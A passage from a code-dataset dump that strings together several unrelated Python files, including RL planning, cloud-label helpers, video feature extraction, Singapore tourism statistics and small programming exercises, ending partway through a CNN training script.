\"POP_MP_Planner\":\n\tassert(args.use_policy == True)\n\tplanner = POP_MP_Planner(env.action_size, args.planning_horizon, args.optimisation_iters, args.candidates, args.top_candidates, transition_model, reward_model, policy_net, env.action_range[0], env.action_range[1], args.initial_sigma)\nelif args.planner == \"MPPI_Planner\":\n\tplanner = MPPI_Planner(env.action_size, args.planning_horizon, args.optimisation_iters, args.candidates, args.top_candidates, transition_model, reward_model, env.action_range[0], env.action_range[1], args.initial_sigma, args.mppi_gamma, args.mppi_beta)\nelif args.planner == \"POP_P_MPPI\":\n\tplanner = POP_P_MPPI(env.action_size, args.planning_horizon, args.optimisation_iters, args.candidates, args.top_candidates, transition_model, reward_model, policy_net, env.action_range[0], env.action_range[1], args.initial_sigma, args.mppi_gamma, args.mppi_beta)\n\n\nglobal_prior = Normal(torch.zeros(args.batch_size, args.state_size, device=args.device), torch.ones(args.batch_size, args.state_size, device=args.device)) # Global prior N(0, I)\nfree_nats = torch.full((1, ), args.free_nats, dtype=torch.float32, device=args.device) # Allowed deviation in KL divergence\n\n\ndef update_belief_and_act(args, env, planner, transition_model, encoder, belief, posterior_state, action, observation, min_action=-inf, max_action=inf, explore=False):\n\t# Infer belief over current state q(s_t|o≤t,a>> t=\"Sugar ![thumb_sugar.jpeg](https://panoptes-upl\"\n >>> clean_tool_label(t)\n 'Sugar'\n \"\"\"\n if label is not None:\n return label[:label.find('!')-1]\n else:\n return None\n\n\ndef restrict_to_version(clas_df, version_dict, workfl_of_interest):\n \"\"\"\n Remove classifications from certain workflow\n that do not have the requested version number.\n \"\"\"\n mask = clas_df.apply(lambda i: (i.workflow_version in version_dict[i.workflow_id]) and (i.workflow_id in workfl_of_interest), axis=1)\n clas_df = clas_df.drop(clas_df.loc[~mask].index)\n return clas_df\n\n\ndef limit_classifications_to_domain(coords, imag_dim):\n \"\"\"\n Classifications can be larger than\n the the image itself.\n >>> limit_classifications_to_domain([-10,-10,2300,1600], (2200,1500))\n (0, 0, 2200, 1500)\n >>> limit_classifications_to_domain(coords=[-10,20,20,1600], imag_dim=(2200,1500))\n (0, 20, 10, 1480)\n \"\"\"\n x = coords[0]\n y = coords[1]\n w = coords[2]\n h = coords[3]\n \n if x < 0:\n w = w-np.abs(x)\n x = 0\n if y < 0:\n h = h-np.abs(y)\n y = 0\n if x+w > imag_dim[0]:\n w = w - ((w+x)-imag_dim[0])\n if y+h > imag_dim[1]:\n h = h - ((h+y)-imag_dim[1])\n return x, y, w, h\n\n\ndef get_user_statistics(df):\n results = {}\n workflows = np.unique(df.workflow_name)\n for user, user_df in df.groupby('user_name'):\n results[user] = len(np.unique(user_df.classification_id))\n return results\n\n\ndef convert_clas_to_annos_df(clas_df):\n \"\"\"\n Converts a classification pd.DataFrame parsed from the raw Zooniverse file to a pd.DataFrame\n that has one row per bounding box. \n Additionally, extracts coordinate and metadata information\n \"\"\"\n # We need to figure out first how many items we have in order to allocate the new DataFrame\n count = 0\n for i, row in clas_df.iterrows():\n if len(row.annotations['value']) == 0: count += 1\n for anno in row.annotations['value']:\n count += 1\n # Allocate new dataframe\n annos_df = pd.DataFrame(\n columns=list(clas_df.columns) + ['x', 'y', 'width', 'height', 'tool_label',\n 'started_at', 'finished_at', 'already_seen'\n ],\n index=np.arange(count)\n )\n # go through each annotation\n j = 0\n for i, row in clas_df.iterrows():\n coords = row.annotations['value']\n if len(coords) == 0:\n coords = [{'x': None, 'y': None, 'width': None, 'height': None, 'tool_label': None, 'already_seen': None}]\n for anno in coords:\n for c in clas_df.columns:\n annos_df.iloc[j][c] = row[c]\n for coord in ['x', 'y', 'width', 'height', 'tool_label']:\n annos_df.iloc[j][coord] = anno[coord]\n for meta in ['started_at', 'finished_at']:\n annos_df.iloc[j][meta] = row.metadata[meta]\n try:\n annos_df.iloc[j]['already_seen'] = row.metadata['subject_selection_state']['already_seen']\n except KeyError:\n print(\"No subject_selection_state in input file. Skip information about already_seen\")\n j += 1\n # Convert start and finish times to datetime\n for meta in ['started_at', 'finished_at', 'created_at']:\n annos_df[meta] = pd.to_datetime(annos_df[meta]).dt.tz_localize(None)\n return annos_df\n\n\ndef decode_filename_eurec4a(filename):\n \"\"\"\n Decode filenames of EUREC4A workflows\n \"\"\"\n return_dict = {}\n basename = filename.split('/')[-1]\n basename_spl = basename.split('_')\n if 'GOES16' in basename:\n return_dict['platform'] = 'GOES16'\n return_dict['instrument'] = 'ABI'\n return_dict['channel'] = basename_spl[1]\n return_dict['date'] = dt.datetime.strptime(''.join(basename_spl[2:4]), \"%Y%m%d%H%M.jpeg\")\n return_dict['init_date'] = pd.NaT\n elif 'MODIS' in basename:\n return_dict['platform'] = basename_spl[0]\n return_dict['instrument'] = 'MODIS'\n return_dict['channel'] = 'CorrectedReflectance'\n return_dict['date'] = dt.datetime.strptime(''.join(basename_spl[4:6]), \"TrueColor%Y%m%d%H%M%S\")\n return_dict['init_date'] = pd.NaT\n elif 'ICON' in basename:\n return_dict['platform'] = 'ICON'\n return_dict['instrument'] = 'n/a'\n return_dict['channel'] = 'n/a'\n return_dict['date'] = dt.datetime.strptime(basename_spl[4], \"%Y%m%d%H%M.jpeg\")\n return_dict['init_date'] = dt.datetime.strptime(basename_spl[3], \"%Y%m%d%H\")\n return_dict['variable/channel'] = basename_spl[2]\n elif len(basename) == 0:\n return_dict['init_date'] = pd.NaT\n return_dict['date'] = pd.NaT\n return_dict['instrument'] = None\n else:\n print(basename)\n raise ValueError(basename)\n return return_dict\n\n\ndef decode_filename_BAMS(filename):\n \"\"\"\n Decode filenames of the initial workflows published in BAMS\n \"\"\"\n return_dict = {}\n basename = filename.split('/')[-1]\n basename_spl = basename.split('_')\n if 'Aqua' in basename:\n return_dict['platform'] = 'Aqua'\n return_dict['instrument'] = 'MODIS'\n return_dict['channel'] = 'CorrectedReflectance'\n return_dict['date'] = dt.datetime.strptime(basename_spl[1], \"CorrectedReflectance%Y%m%d\")\n return_dict['init_date'] = pd.NaT\n elif 'Terra' in basename:\n return_dict['platform'] = 'Terra'\n return_dict['instrument'] = 'MODIS'\n return_dict['channel'] = 'CorrectedReflectance'\n return_dict['date'] = dt.datetime.strptime(basename_spl[1], \"CorrectedReflectance%Y%m%d\")\n return_dict['init_date'] = pd.NaT\n else:\n print(basename)\n raise ValueError(basename)\n return return_dict\n\ndef rle (binary_mask,return_str=True):\n \"\"\"\n Fast run length encoding\n \n adapted from https://www.kaggle.com/hackerpoet/even-faster-run-length-encoder\n \"\"\"\n flat_mask = binary_mask.flatten()\n\n starts = np.array((flat_mask[:-1] == 0) & (flat_mask[1:] == 1))\n ends = np.array((flat_mask[:-1] == 1) & (flat_mask[1:] == 0))\n starts_ix = np.where(starts)[0] + 2\n ends_ix = np.where(ends)[0] + 2\n lengths = ends_ix - starts_ix\n \n if return_str:\n encoding = ''\n for idx in range(len(starts_ix)):\n encoding += '%d %d ' % (starts_ix[idx], lengths[idx])\n return encoding\n else:\n return starts_ix, lengths\n\n\ndef most_common_boxes(boxes, visualize=False, return_all_pattern=False, imag_dim=(2100,1400)):\n \"\"\"\n Combine most common boxes of one image\n into one grid\n \"\"\"\n pattern_dic = {'Sugar': 0, 'Flower': 1, 'Fish': 2, 'Gravel': 3, 'Sug': 0, 'Flow': 1, 'Fi': 2, 'Grav': 3}\n \n grid = np.zeros((imag_dim[0],imag_dim[1],4),dtype=\"int\")\n for b,box in enumerate(boxes):\n # Get coordinates of single label\n if not all(box): continue\n coords = np.round(box[0:4].astype(float),0).astype(int)\n x0 = coords[0]\n y0 = coords[1]\n # restrict x1,y1 to domain size\n x1 = x0 + coords[2]-1\n y1 = y0 + coords[3]-1\n pattern = pattern_dic[box[4]]\n # Add box to specific layer of grid\n grid[x0:x1,y0:y1,pattern] += 1\n if visualize: visualize_grid(grid)\n common_box = np.argmax(grid,axis=2)\n if visualize: visualize_common_box(common_box)\n if return_all_pattern: return grid\n else: return common_box\n\n \ndef find_filename(filenames, string='Aqua_MODIS'):\n for i in range(len(filenames)):\n if string in filenames[i]:\n return filenames[i]\n\n ","repo_name":"observingClouds/C3ONTEXT","sub_path":"helpers/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":8571,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"4623857622","text":"x = int(input(\"Digite o quanto quer sacar: \"))\n\nif 10 <= x <= 600:\n notas_cem = x//100\n notas_cin =(x%100)//50\n notas_dez = (x%50)//10\n notas_cinco = (x%10)//5\n notas_um = (x%5)//1\n\n print (\"Você sacou\",notas_cem,\" nota(s) de cem ,\",notas_cin,\" nota(s) de cinquenta ,\",notas_dez,\" nota(s) de dez , \",notas_cinco,\" nota(s) de cinco e \",notas_um, \"nota(s) de 1\")\nelse:\n print(\"Valor invalido\")\n","repo_name":"Davi-Augusto-Schmidt/Programas-e-exercicios","sub_path":"Python/Refiz o programa do caixa.py","file_name":"Refiz o programa do caixa.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27171450983","text":"import glob\nfrom tqdm import tqdm\nimport numpy as np\nimport os\nimport argparse\nimport torch\nimport pretrainedmodels\nfrom pretrainedmodels import utils\nimport h5py\nfrom torchvision import transforms\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch import Tensor\nimport torch.utils.model_zoo as model_zoo\nfrom PIL import Image\nimport pickle\nfrom multiprocessing import Process\n\ndef extract_feats(paths, params):\n if params['model'] == 'resnet101':\n C, H, W = 3, 224, 224\n model = pretrainedmodels.resnet101(pretrained='imagenet')\n elif params['model'] == 'resnet152':\n C, H, W = 3, 224, 224\n model = pretrainedmodels.resnet152(pretrained='imagenet')\n elif params['model'] == 'resnet18':\n C, H, W = 3, 224, 224\n model = pretrainedmodels.resnet18(pretrained='imagenet')\n elif params['model'] == 'resnet34':\n C, H, W = 3, 224, 224\n model = pretrainedmodels.resnet34(pretrained='imagenet')\n elif params['model'] == 'inceptionresnetv2':\n C, H, W = 3, 299, 299\n model = pretrainedmodels.inceptionresnetv2(\n num_classes=1001, pretrained='imagenet+background')\n elif params['model'] == 'googlenet':\n C, H, W = 3, 224, 224\n model = googlenet(pretrained=True)\n print(model)\n else:\n print(\"doesn't support %s\" % (params['model']))\n\n load_image_fn = utils.LoadTransformImage(model)\n\n model = model.cuda()\n model.eval()\n\n for category in tqdm(paths):\n save_path = os.path.join(params['feat_path'], category)\n if not os.path.exists(save_path):\n os.makedirs(save_path)\n frames_path_list = glob.glob(os.path.join(params['frame_path'], category, '*'))\n\n for frames_dst in tqdm(frames_path_list):\n file_name = frames_dst.split('/')[-1] + '.pkl'\n if os.path.exists(os.path.join(save_path, file_name)):\n continue\n \n image_list = sorted(glob.glob(os.path.join(frames_dst, '*.%s' % params['frame_suffix'])))\n if len(image_list) == 0:\n continue\n\n if params['k'] and len(image_list) > params['k']:\n images = torch.zeros((params['k'], C, H, W))\n bound = [int(i) for i in np.linspace(0, len(image_list), params['k']+1)]\n for i in range(params['k']):\n idx = (bound[i] + bound[i+1]) // 2\n images[i] = load_image_fn(image_list[idx])\n else:\n images = torch.zeros((len(image_list), C, H, W))\n for i, image_path in enumerate(image_list):\n images[i] = load_image_fn(image_path)\n\n with torch.no_grad():\n feats = model.features(images.cuda().to(torch.float32))\n logits = model.logits(feats)\n \n feats = feats.squeeze().mean(-1).mean(-1).cpu().numpy()\n logits = logits.squeeze().cpu().numpy()\n\n tqdm.write('%s: %s %s' % (file_name, str(feats.shape), str(logits.shape)))\n\n with open(os.path.join(save_path, file_name), 'wb') as f:\n f.write(pickle.dumps([feats, logits]))\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--frame_path\", type=str, required=True, help='the path to load all the frames')\n parser.add_argument(\"--feat_path\", type=str, required=True, help='the path you want to save the features')\n\n parser.add_argument(\"--gpu\", type=str, default='0', help='set CUDA_VISIBLE_DEVICES environment variable')\n parser.add_argument(\"--model\", type=str, default='inceptionresnetv2', help='inceptionresnetv2 | resnet101')\n \n parser.add_argument(\"--k\", type=int, default=60, \n help='uniformly sample k frames from the existing frames and then extract their features. k=0 will extract all existing frames')\n parser.add_argument(\"--frame_suffix\", type=str, default='jpg')\n parser.add_argument(\"--num_processes\", type=int, default=3)\n \n args = parser.parse_args()\n params = vars(args)\n\n os.environ['CUDA_VISIBLE_DEVICES'] = params['gpu']\n\n assert os.path.exists(params['frame_path'])\n if not os.path.exists(params['feat_path']):\n os.makedirs(params['feat_path'])\n\n print('Model: %s' % params['model'])\n print('The extracted features will be saved to --> %s' % params['feat_path'])\n\n paths = os.listdir(params['frame_path'])\n paths = np.array_split(paths, params['num_processes'])\n processes = []\n for i in range(params['num_processes']):\n proc = Process(target=extract_feats, args=(paths[i], params))\n proc.start()\n processes.append(proc)\n\n for i in range(params['num_processes']):\n processes[i].join()\n \n\n'''\npython run_kinetics.py \\\n--frame_path /disk2/zhangcan/dataset/kinetics_frames \\\n--feat_path /home/yangbang/VideoCaptioning/kinetics/feats/image_IRv2 \\\n--model inceptionresnetv2 \\\n--k 60 \\\n--frame_suffix jpg \\\n--gpu 0 \\\n--num_processes 3\n'''\n","repo_name":"Hadryan/feature_extraction","sub_path":"image/run_kinetics.py","file_name":"run_kinetics.py","file_ext":"py","file_size_in_byte":5024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9339744951","text":"\n# coding: utf-8\n\n# # Record of Visitor Arrivals & Tourism Receipts in Singapore\n\n# In[127]:\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n\n#
  • Step 1. Read records --- Annual International Visitor Arrivals by Country of Residence, 2006 - 2015\n\n# In[876]:\n\narrival_df = pd.read_excel('https://www.stb.gov.sg/statistics-and-market-insights/documents/2015_annualtourismstats.xlsx',sheetname ='2.2_AnnCOR',skiprows=3,parse_cols=[0]+list(range(4,30,3)),index_col=0)\narrival_df = arrival_df.dropna()\n\n# remove unwanted items\nremovalItems = [\"TOTAL1\", \"TOTAL\", \"NOT STATED\", \"NORTH ASIA\",\"SOUTHEAST ASIA\",\"SOUTH ASIA\",\"Southeast Asia\", \"North Asia\", \"South Asia\", \"West Asia\",\"AMERICAS\",\"ASIA\",\"EUROPE\",\"OCEANIA\",\"AFRICA\"]\narrival_df = arrival_df.loc[[ x for x in arrival_df.index if x not in removalItems]]\n\n# add new col about continents\ncontinents = {\"AMERICAS\":[\"Canada\",\"USA\",\"Other Countries in Americas\"],\n \"ASIA\":[\"Brunei Darussalam\",\"Indonesia\",\"Malaysia\",\"Myanmar\",\"Philippines\",\"Thailand\",\"Vietnam\",\"Other Countries in Southeast Asia\",\"China\",\"Taiwan\",\"Hong Kong SAR\",\"Japan\",\"South Korea\",\"Other Countries in North Asia\",\"Bangladesh\",\"India\",\"Nepal\",\"Pakistan\",\"Sri Lanka\",\"Other Countries in South Asia\",\"Iran\",\"Israel\",\"Kuwait\",\"Saudi Arabia\",\"United Arab Emirates\",\"Other Countries in West Asia\"],\n \"EUROPE\":[\"Austria\",\"Belgium & Luxembourg\",\"Denmark\",\"Finland\",\"France\",\"Germany\",\"Greece\",\"Italy\",\"Netherlands\",\"Norway\",\"Poland\",\"Rep of Ireland\",\"Russian Federation\",\"Spain\",\"Sweden\",\"Switzerland\",\"Turkey\",\"UK\",\"Other Countries in Eastern Europe\",\"Other Countries in Western Europe\"],\n \"OCEANIA\":[\"Australia\",\"New Zealand\",\"Other Countries in Oceania\"],\n \"AFRICA\":[\"Egypt\",\"Mauritius\",\"South Africa (Rep of)\",\"Other Countries in Africa\"]}\n\nlist_key_value =[]\nfor k,v in continents.items():\n [ list_key_value.append([k,i]) for i in v]\n\n_ = pd.DataFrame(list_key_value,columns=[\"Continent\",\"COUNTRY OF RESIDENCE\"]).set_index(\"COUNTRY OF RESIDENCE\")\n\n\narrival_df = arrival_df.join(_,how=\"inner\")\n\n\n\n#
  • Step 2. Read records --- Annual Tourism Receipts by Country of Residence, 2011 - 2015\n# (S$ MILLION)\n# \n# Tourism Receipts comprise any expenditure incurred by visitors (including transit passengers,\n# foreign air/sea crew and foreign students) during their stay in Singapore as well as the amount\n# they prepaid on components such as accommodation and sightseeing tours before arrival. \n\n# In[879]:\n\n# this excel file only contains data from 2011 to 2015\nreceipts_df = pd.read_excel('https://www.stb.gov.sg/statistics-and-market-insights/documents/2015_annualtourismstats.xlsx',sheetname ='3.3_TR Country',skiprows=3,parse_cols=[0]+list(range(1,10,2)),index_col=0)\nreceipts_df = receipts_df.dropna()\nreceipts_df = receipts_df.loc[[ x for x in receipts_df.index if x not in removalItems]]\nreceipts_df = receipts_df.iloc[1:]\nreceipts_df = receipts_df.astype('int32')\n\n# additional data from 2007 to 2011 are collected from https://www.stb.gov.sg/statistics-and-market-insights/marketstatistics/x1annual_report_on_tourism_statistics_2010_2011.pdf\n# the data are saved in 2007-2011_annualtourismreceipts.xlsx\n_receipts_df = pd.read_excel('https://github.com/NetLand-NTU/Tourism-statistics-of-Singapore/blob/master/data/2007-2011_annualtourismreceipts.xlsx?raw=true',index_col=0)\n_receipts_df = _receipts_df[_receipts_df.columns[:-1]] #remove 2011 col\n\nreceipts_df = _receipts_df.join(receipts_df,how=\"inner\")\n\n\n#
  • Step 3. Combine above two records\n\n# In[860]:\n\ntourism_sin = receipts_df.join(arrival_df,how=\"inner\",lsuffix='_receipt',rsuffix='_arrival',sort=True)\n\n\n#
  • Step 4. Sources of tourists\n\n# In[602]:\n\narrivals = tourism_sin.pivot_table(values=tourism_sin.columns[9:-1],columns=['Continent'],aggfunc=[np.mean,np.sum,np.median,np.std])\n\n\n# In[478]:\n\n\n\ndef plot_bar_box(data,mytitle,ifplotHist=True):\n plt.figure(figsize=(15,5))\n \n # plot sum\n plt.subplot(131)\n _ = np.cumsum(data,axis=1)\n ind = np.arange(data.shape[0])\n for i in reversed(_.columns):\n plt.bar(ind,_[i].T,width=0.8,alpha=0.8,align='center')\n\n plt.title(mytitle[0]) \n plt.xticks(ind, np.arange(2007,2016))\n plt.legend(list(reversed(_.columns)),loc=2)\n\n plt.plot(ind,_[_.columns[-1]],'-ro')\n \n #plot box\n plt.subplot(132)\n plt.boxplot(data.as_matrix(),widths=0.8,labels=_.columns,sym='b+',showfliers=True)\n plt.title(mytitle[1]) \n \n #plot hist\n if ifplotHist:\n ax = plt.subplot(133)\n from collections import Counter\n counts_continents = Counter(tourism_sin['Continent'])\n\n ind = np.arange(len(counts_continents))\n plt.barh(ind,counts_continents.values(),align='center',height=0.7)\n ax.invert_xaxis()\n ax.yaxis.tick_right()\n ax.yaxis.set_label_position(\"right\")\n plt.title('Number of Countries on Each Continent')\n plt.yticks(ind, counts_continents.keys())\n\n plt.show()\n \n\n\n# In[482]:\n\nmytitle = ['Visitor Arrivals by Continent of Residence',\n 'Distribution of Total Visitor Arrivals by Continent in 2007-2015']\nplot_bar_box(arrivals[('sum',)],mytitle)\n\n\n#
  • Step 5. Expenses of tourists\n\n# In[830]:\n\nreceipts = tourism_sin.pivot_table(values=tourism_sin.columns[0:9],columns=['Continent'],aggfunc=[np.mean,np.sum,np.median,np.std])\n\ndecrease = [-receipts[('sum','AMERICAS')]['2014_receipt']+receipts[('sum','AMERICAS')]['2015_receipt'],\n -receipts[('sum','ASIA')]['2014_receipt']+receipts[('sum','ASIA')]['2015_receipt'],0,\n -receipts[('sum','OCEANIA')]['2014_receipt']+receipts[('sum','OCEANIA')]['2015_receipt']]\nincrease = [0,0,-receipts[('sum','EUROPE')]['2014_receipt']+receipts[('sum','EUROPE')]['2015_receipt'],0]\n\n \nplt.figure()\nX = np.arange(4)\nplt.bar(X, increase, facecolor='#ff9999', edgecolor='white')\nplt.bar(X, decrease, facecolor='#9999ff', edgecolor='white')\n\nfor x, y in zip(X, increase):\n if y ==0:\n plt.text(x + 0.4, y + 0.05, list(continents.keys())[x]+' %.2f' % decrease[x] , ha='center', va='bottom')\n else:\n plt.text(x + 0.4, y + 0.05, 'EUROPE %.2f' % y, ha='center', va='bottom')\nplt.xticks([])\nplt.show()\n\n\n# In[540]:\n\nmytitle = ['Tourism Receipts by Continent of Residence',\n 'Tourism Receipts Per Country by Continent of Residence']\nplot_bar_box(receipts[('sum',)],mytitle)\n\n\n#
  • Step 6. Look into Asian Countries\n\n# In[699]:\n\nasian_countries = tourism_sin[tourism_sin['Continent'] == \"ASIA\"]\n\n\n# In[681]:\n\n# receipts\nimport matplotlib.gridspec as gridspec\nplt.figure(figsize=(15,15))\ngs = gridspec.GridSpec(3, 3)\nind = np.arange(9)\nfor i in ind:\n x,y = [int(i/3), i%3]\n plt.subplot(gs[x,y])\n plt.pie(asian_countries[asian_countries.columns[i]], labels=asian_countries.index, autopct='%1.1f%%',\n shadow=True, startangle=90)\n plt.title(asian_countries.columns[i])\nplt.show()\n\n\n# In[682]:\n\nplt.figure(figsize=(15,15))\ngs = gridspec.GridSpec(3, 3)\nind = np.arange(9)\nfor i in ind:\n x,y = [int(i/3), i%3]\n plt.subplot(gs[x,y])\n plt.pie(asian_countries[asian_countries.columns[i+9]], labels=asian_countries.index, autopct='%1.1f%%',\n shadow=True, startangle=90)\n plt.title(asian_countries.columns[i+9])\nplt.show()\n\n\n# In[772]:\n\ndef plot_asian_bar_box(data,mytitle):\n plt.figure(figsize=(10,5))\n \n ax=plt.gca()\n \n #?? doesn't work ???\n from cycler import cycler\n ax.set_prop_cycle(cycler('color', [plt.cm.RdBu(i) for i in np.linspace(0, 1, 11)]))\n \n \n # plot sum\n data1 = data[data.columns[0:9]]\n _ = np.cumsum(data1,axis=0)\n ind = np.arange(data1.shape[0])\n for i in reversed(_.index):\n plt.bar(ind,_.loc[i],width=0.8,alpha=0.8,align='center')\n\n #plt.title(mytitle[0]) \n plt.xticks(ind, np.arange(2007,2016))\n ax.legend(list(reversed(_.index)),bbox_to_anchor=(-0.3, 0.5),loc='center left')\n ax.set_ylabel(mytitle[0])\n\n #plot arrivals\n data2 = data[data.columns[9:18]]\n ax2 = ax.twinx()\n ax2.set_prop_cycle(cycler('color', [plt.cm.RdBu(i) for i in np.linspace(0, 1, 11)]))\n ax2.plot(data2.T.as_matrix(),'-o')\n ax2.set_ylabel(mytitle[1])\n ax2.legend(list((_.index)),bbox_to_anchor=(1.1, 0.5),loc='center left')\n ax2.grid(False)\n \n plt.show()\n \n\n\n# In[776]:\n\nmytitle = ['Tourism Receipts by Country of Residence','Visitor Arrivals by Country of Residence']\nplot_asian_bar_box(asian_countries,mytitle)\n\n\n#
  • Step 7. Calculate travel receipts per person \n\n# In[700]:\n\nfor i in range(9):\n asian_countries[asian_countries.columns[i]+'_per_thousand_person'] = 1000*asian_countries[asian_countries.columns[i]]/asian_countries[asian_countries.columns[i+9]]\n\n\n# In[850]:\n\n\n#plot box\nplt.figure()\nplt.boxplot(asian_countries[asian_countries.columns[19:]].T.as_matrix(),widths=0.8,labels=asian_countries.index,sym='b+',showfliers=True)\nplt.xticks(rotation=45)\nplt.title('Tourism Receipts per thousand visitor')\nplt.show() \n\n\n#
  • Step 8. Correlation analsis\n\n# In[775]:\n\n#AMERICAS\tASIA\tEUROPE\tOCEANIA\nasian_receipts = asian_countries[asian_countries.columns[0:9]]\nasian_arrivals = asian_countries[asian_countries.columns[9:18]]\n\nfor i in range(asian_countries.shape[0]):\n print(asian_countries.index[i],' ',np.corrcoef(asian_receipts.iloc[i], asian_arrivals.iloc[i])[0,1])\n\n\n#
  • Step 9. Indonesia & China\n\n# In[858]:\n\n#Indonesia #China\n\nplt.figure()\nplt.plot(range(9),asian_countries.loc['Indonesia'][19:].tolist(),'-o',range(9),asian_countries.loc['China'][19:].tolist(),'-o')\nplt.xticks(range(9),['2007','2008','2009','2010','2011','2012','2013','2014','2015'])\nplt.legend(['Indonesia','China'])\nplt.ylabel('Tourism Receipts per thousand visitor')\n\nax1 = plt.gca().twinx()\nax1.plot(range(9),asian_arrivals.loc['Indonesia'].tolist(),'--',range(9),asian_arrivals.loc['China'].tolist(),'--')\nax1.set_ylabel('Visitor Arrivals')\n#ax1.legend(list((_.index)),bbox_to_anchor=(1.1, 0.5),loc='center left')\nax1.grid(False)\n\nplt.show()\n\n\n# In[865]:\n\n(asian_arrivals.loc['China']['2015_arrival']-asian_arrivals.loc['China']['2014_arrival'])\n\n\n# In[864]:\n\n(asian_arrivals.loc['Indonesia']['2015_arrival']-asian_arrivals.loc['Indonesia']['2014_arrival'])\n\n\n# In[868]:\n\n(asian_receipts.loc['China']['2015_receipt']-asian_receipts.loc['China']['2014_receipt'])\n\n\n# In[869]:\n\n(asian_receipts.loc['Indonesia']['2015_receipt']-asian_receipts.loc['Indonesia']['2014_receipt'])\n\n\n# In[872]:\n\n(asian_countries.loc['Indonesia'][-1]-asian_countries.loc['Indonesia'][-2])/asian_countries.loc['Indonesia'][-2]\n\n\n# In[873]:\n\n(asian_countries.loc['China'][-1]-asian_countries.loc['China'][-2])/asian_countries.loc['China'][-2]\n\n\n# In[ ]:\n\n\n\n","repo_name":"GuoJingSRTP/Tourism-statistics-of-Singapore","sub_path":"src.py","file_name":"src.py","file_ext":"py","file_size_in_byte":10678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30195406503","text":"while True:\n n = int(input())\n cnt = 0\n\n if n == 0:\n break\n \n for i in range(n+1, 2*n+1):\n if i == 2 or i == 3:\n cnt += 1\n else:\n root = int(i**0.5)\n \n for j in range(2, root+1):\n if i%j == 0:\n break\n elif j == root:\n cnt += 1\n\n print(cnt)\n\n# 또 PyPy에서만 맞았다 ㅡㅡ","repo_name":"seokzin/algorithm-python","sub_path":"Code/Backjoon/4948-베르트랑공준.py","file_name":"4948-베르트랑공준.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"33862858350","text":"import sqlite3\n\ndef data_wrangle(input_der):\n if '[' in input_der:\n index_start = input_der.find('[')\n index_end = input_der.find(')')\n new_string = input_der[:index_start] + input_der[index_end+1:]\n return data_wrangle(new_string)\n else: \n return input_der\n\nderivative = {}\nwith sqlite3.connect(\"./database/vocab.db\") as connection:\n c = connection.cursor()\n c.execute(\"SELECT vocab, derivatives FROM pho;\")\n result = c.fetchall()\n\nfor item in result:\n value = data_wrangle(item[1])\n derivative[item[0]] = value\n \nwith open(\"derivatives_data.py\", \"w\") as file:\n file.write(str(derivative))\n","repo_name":"nolanwu1112/anki_extract_derivatives","sub_path":"writing_pydata.py","file_name":"writing_pydata.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38125340894","text":"n = int(input())\na = []\nfor i in range(n):\n a.append([int(j) for j in input().split()])\nk = int(input())\n\ntop, bot = 0,0\nfor i in range(n):\n for j in range(0,n-i-1):\n top += a[i][j]\n for j in range(n-i, n):\n bot += a[i][j]\n \nm = abs(top - bot)\nprint(\"YES\" if m <= k else \"NO\")\nprint(m)","repo_name":"Sudo248/Python-PTIT","sub_path":"ma_tran_2.py","file_name":"ma_tran_2.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11519769460","text":"import os\nimport shutil\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport matplotlib.pyplot as plt\nimport time\nimport numpy as np\nfrom torchvision import transforms, datasets\nimport torchvision.datasets as dset\nfrom torch.utils.data import Dataset, DataLoader, random_split\nfrom PIL import Image\n\n\nclass Net(nn.Module):\n def __init__(self):\n super().__init__()\n self.cnn = nn.Sequential(\n nn.Conv2d(3, 64, 3, 1, 1), # [64, 128, 128]\n nn.BatchNorm2d(64),\n nn.ReLU(),\n nn.MaxPool2d(2, 2, 0), # [64, 64, 64]\n\n nn.Conv2d(64, 128, 3, 1, 1), # [128, 64, 64]\n nn.BatchNorm2d(128),\n nn.ReLU(),\n nn.MaxPool2d(2, 2, 0), # [128, 32, 32]\n\n nn.Conv2d(128, 256, 3, 1, 1), # [256, 32, 32]\n nn.BatchNorm2d(256),\n nn.ReLU(),\n nn.MaxPool2d(2, 2, 0), # [256, 16, 16]\n\n nn.Conv2d(256, 512, 3, 1, 1), # [512, 16, 16]\n nn.BatchNorm2d(512),\n nn.ReLU(),\n nn.MaxPool2d(2, 2, 0), # [512, 8, 8]\n \n nn.Conv2d(512, 512, 3, 1, 1), # [512, 8, 8]\n nn.BatchNorm2d(512),\n nn.ReLU(),\n nn.MaxPool2d(2, 2, 0), # [512, 4, 4]\n )\n self.fc = nn.Sequential(\n nn.Linear(512*4*4, 1024),\n torch.nn.Dropout(0.5),\n nn.ReLU(),\n nn.Linear(1024, 512),\n torch.nn.Dropout(0.5),\n nn.ReLU(),\n nn.Linear(512, 11)\n )\n\n def forward(self, x):\n out = self.cnn(x)\n out = out.view(out.size()[0], -1)\n return self.fc(out)\n\n\ndef calc_acc(output, target):\n predicted = torch.max(output, 1)[1]\n num_samples = target.size(0)\n num_correct = (predicted == target).sum().item()\n return num_correct / num_samples\n\n\ndef training(model, device, train_loader, criterion, optimizer, train_pic):\n # ===============================\n # TODO 3: switch the model to training mode\n model.train()\n # ===============================\n epoch_loss = []\n epoch_acc = []\n start_time = time.time()\n train_acc = 0.0\n train_loss = 0.0\n\n for data, target in train_loader:\n data, target = data.to(device), target.to(device)\n\n # =============================================\n # TODO 4: initialize optimizer to zero gradient\n optimizer.zero_grad()\n # =============================================\n output = model(data)\n # =================================================\n # TODO 5: loss -> backpropagation -> 